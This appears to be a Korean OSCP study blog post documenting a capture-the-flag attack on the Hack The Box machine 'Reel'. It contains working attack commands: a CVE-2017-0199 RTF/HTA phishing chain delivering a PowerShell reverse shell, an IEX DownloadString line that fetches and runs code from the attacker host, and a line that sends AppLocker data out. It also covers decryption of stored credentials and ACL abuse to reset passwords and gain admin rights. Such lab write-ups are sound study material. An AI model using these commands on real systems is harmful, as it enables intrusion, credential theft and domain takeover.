[목차]
1. CASE 7 - HTB Reel
# CASE 7
- HTB Reel
[공략 과정 정리]
1. 포트 확인
21, 22, 25, 135, 129, 445, 593, 49159
특이사항 :
ftp 배너를 보면 windows 박스로 보이는데
ssh가 열려있다. 일반적으로 ssh는 linux에서
사용한다는 점을 고려했을 때 VM 등으로
구현된 무언가가 있을 수 있다고 추정해 본다.
2. Host OS 확인
windows default ttl = 128
linux default ttl = 64
cisco = 254
3. ftp enum
anonymous 로그인이 허용된 경우
password 입력 없이 접속이 가능한
경우와 임의의 값을 넣어야만 접속이
가능한 경우가 있다. 본 박스는 후자.
파일들 내려받은 후 확인
4. Files 확인
1) readme.txt
rtf : rich text format
25 SMTP가 활성화 중이라
피싱 challenge로 추측 가능
2) 두 개의 docx 파일
문서 creator : nico@megabank.com
문서 종류 : Microsoft Office Word
5. verify exist user
위에서 찾은 계정이 유효한지 test
# telnet 192.168.137.131
HELO takudaddy.com
MAIL FROM: <taku@daddy.com>
RCPT TO: <nico@megabank.com>
6. Macro 활용 예
우선 docx 문서 추가 확인
AppLocker에서 허용하지 않는
hash ruels 확인이 가능하며
위 포맷들은 다 걸러짐
# Word macro 제작 실험 예
메뉴 바 > quick parts > Field 메뉴
Categories : Links and References
Field names : IncludePicture
URL 입력
> word에서 위 문서를 열 때마다
이미지를 불러오고 내려받게 되며
이미지가 호출될 때마다 누군가가
문서를 열었음을 확인할 수 있다.
> 타깃에서 word를 사용하고 있지
않기 때문에 이 방법은 소용이 없지만
다양한 macro 공격 방법 중 하나라
소개
7. create malcious RTF / HTA file
* 파일 간 연계성 때문에 파일 이름 정확히 지정해야 함
# 공격 작동 원리 정리
a. 타깃에서 이메일로 받을 파일 포맷을
rtf 파일을 지정했다. 생성할 rtf 파일에는
hta 파일 링크가 포함되어 있을 것이다.
b. 타깃이 rtf를 받아 리뷰 및 converting을
하게 되면 생성해 둔 hta 파일이 받아지게 되며
hta 파일에는 리버스 쉘을 생성해 줄
Powershell 스크립트 링크가 포함되어 있다.
c. 최종적으로 리버스 쉘 스크립트가 실행되고
서버에 침투할 수 있게 된다.
1) create RFT file
# python cve-2017-0199_toolkit.py -M gen -w takudaddy.rtf -u 'http://192.168.49.137/takudaddy.hta' -t RTF -x 0
2) generate malicious HTA file
Out-HTA.ps1 스크립트 확인
https://github.com/samratashok/nishang/blob/master/Client/Out-HTA.ps1
HTA payloads 설명,
HTA (HTML Application) 파일 생성
linux 용 powershell인
pwsh에 로딩 후 명령어 입력 시
에러가 난다.
정상적으로 로딩이 안되는 것인데
이럴 때는 수동으로 로딩 후 사용하면
된다.
# 수동 로딩 후 스크립트 생성
a) xclip으로 복사 후
b) pwsh에 붙여넣기
c) 스크립트 생성
정상 생성된 파일 확인
> hta 파일 호출 시 takudaddy.ps1(리버스 쉘)이 실행
3) Invoke-PowerShellTcp.ps1 설정
Invoke-PowerShellTcp.ps1 세팅은
내용 중간 EXAMPLE을 복사 후
하단에 입력, IP&Port 수정 후 저장
HTA 파일 생성 시 리버스 쉘 스크립트 이름을
takudaddy.ps1으로 지정했기 때문에
동일한 이름으로 변경해 주면 준비 끝!
4) 준비된 rtf/hta/Invoke.. 파일 확인 및 정리
# 작동 원리 다시 한번 정리
1) 타깃에서 이메일로 받을 파일 포맷을
rtf 파일을 지정했다. rtf 파일에는
hta 파일 링크가 포함되어 있다.
2) 타깃이 rtf를 받아 리뷰 및 converting을
하게 되면 hta 파일이 받아지게 되며
hta 파일에는 리버스 쉘을 생성해 줄
Powershell 스크립트 링크가 포함되어 있다.
3) 최종적으로 리버스 쉘 스크립트가 실행되고
서버에 침투할 수 있게 된다.
8. Exploit
파이썬 웹 서버 + 리스너 기동 후
메일 전송
# sendEmail -f taku@megabank.com -t nico@megabank.com -u RTF -m "Convert this f" -a tadudaddy.rtf -s 192.168.137.131
침투 성공
9. AppLocker 확인
C:\>Get-ApplockerPolicy -Effective -xml
white list 확인이 가능하나
내용이 너무 많은 관계로
output을 별도 저장
$output = Get-ApplockerPolicy -Effective -xml
kali로 보낸 뒤 다시 확인
PS C:\> Invoke-RestMethod -Method PUT -Uri "http://192.168.49.51:7979/applocker.xml" -Body $output
10. Service 확인
PS C:\> Get-Service | where {$_.Status -eq "Running"}
> 의문이었던 ssh가
windows에서 돌아가고 있음
11. Users 확인
12. Secure password 확인
> System.Management.Automation.PSCredential
secure password
# converting 작업
PS C:\> $pass = "cppied pass" | convertto-securestring
PS C:\> $user = "HTB\Tom"
PS C:\> $cred = New-Object System.Management.Automation.PSCredential($user, $pass)
PS C:\> $cred.GetNetworkCredential()
PS C:\> $cred.GetNetworkCredential() | fl
13. ssh 로그인
>ssh는 타깃의 본 박스가 아닌 것으로 추정,
tom 계정을 활용한 공략법은 마지막에 추가 기재
14. Bloodhound
PS C:\> IEX(New-Object Net.WebClient).downloadString('http://192.168.49.51/BloodHound.ps1');
PS C:\> Invoke-Bloodhound
PS C:\> Invoke-Bloodhound -CollectionMethod All
: smbserver
# smbserver share 'pwd'
PS c:\> net use y: \\192.168.49.51\share
PS c:\> y:
PS c:\> copy *.zip y:
> 애러가 발생해 새로운
스크립트를 받아 내려받은 후
재실행
: bloodhound로 확인
15. Powerview.ps1
PS Q:\> Invoke-Bloodhound -CollectionMethod All
PS Q:\> Add-DomainObjectAcl -Identity Herman -OwnerIdentity nico
PS Q:\> Add-DomainObjectAcl -TargetIdentity Herman -PrincipalIdentity nico -Rights ResetPassword -Verbose
> 다시 bloodhound 돌리면 내용이 다르다.
16. Reset Passwords & add admin groups
PS Q:\> $pass = ConverTo-SecureString 'password' -AsPlainText -Force
PS Q:\> Set-DomainUserPassword Herman -AccountPassword $pass -Verbose
ssh로 확인
reset password 성공
: Domain group member 확인 후 추가
PS Q:\> Get-DomainGroup -MemberIdentity Herman | select samaccountname
PS Q:\> $pass = ConverTo-SecureString 'password' -AsPlainText -Force
PS Q:\> $cred = New-Object System.Management.Automation.PSCredential('HTB\Herman', $pass)
PS Q:\> Add-DomainGroupMember -Identity 'Backup_Admins' -Members Herman -Credential $cred
backup admin 그룹이 아니지만
admin으로 새로 추가해 준 뒤
다시 확인해보면
Backup Admins 그룹 맴버로 추가되었고
ssh로 접속해보면
admin 그룹이기에
administrator 디렉터리
접근이 가능!
17. 파일 탐색
C:\> type * | findstr password
> admin pass 확인,
ssh로 administrator 로그인
성공!
끝
'OSCP > OSCP 공부일지' 카테고리의 다른 글
[+] AD 실습 환경 구축 (2) | 2023.01.23 |
---|---|
OSCP 시험 공략집 (8) | 2022.09.13 |
AD 공략 4 (0) | 2022.09.11 |
AD 공략 3 (0) | 2022.09.11 |
AD 공략 2 (0) | 2022.09.10 |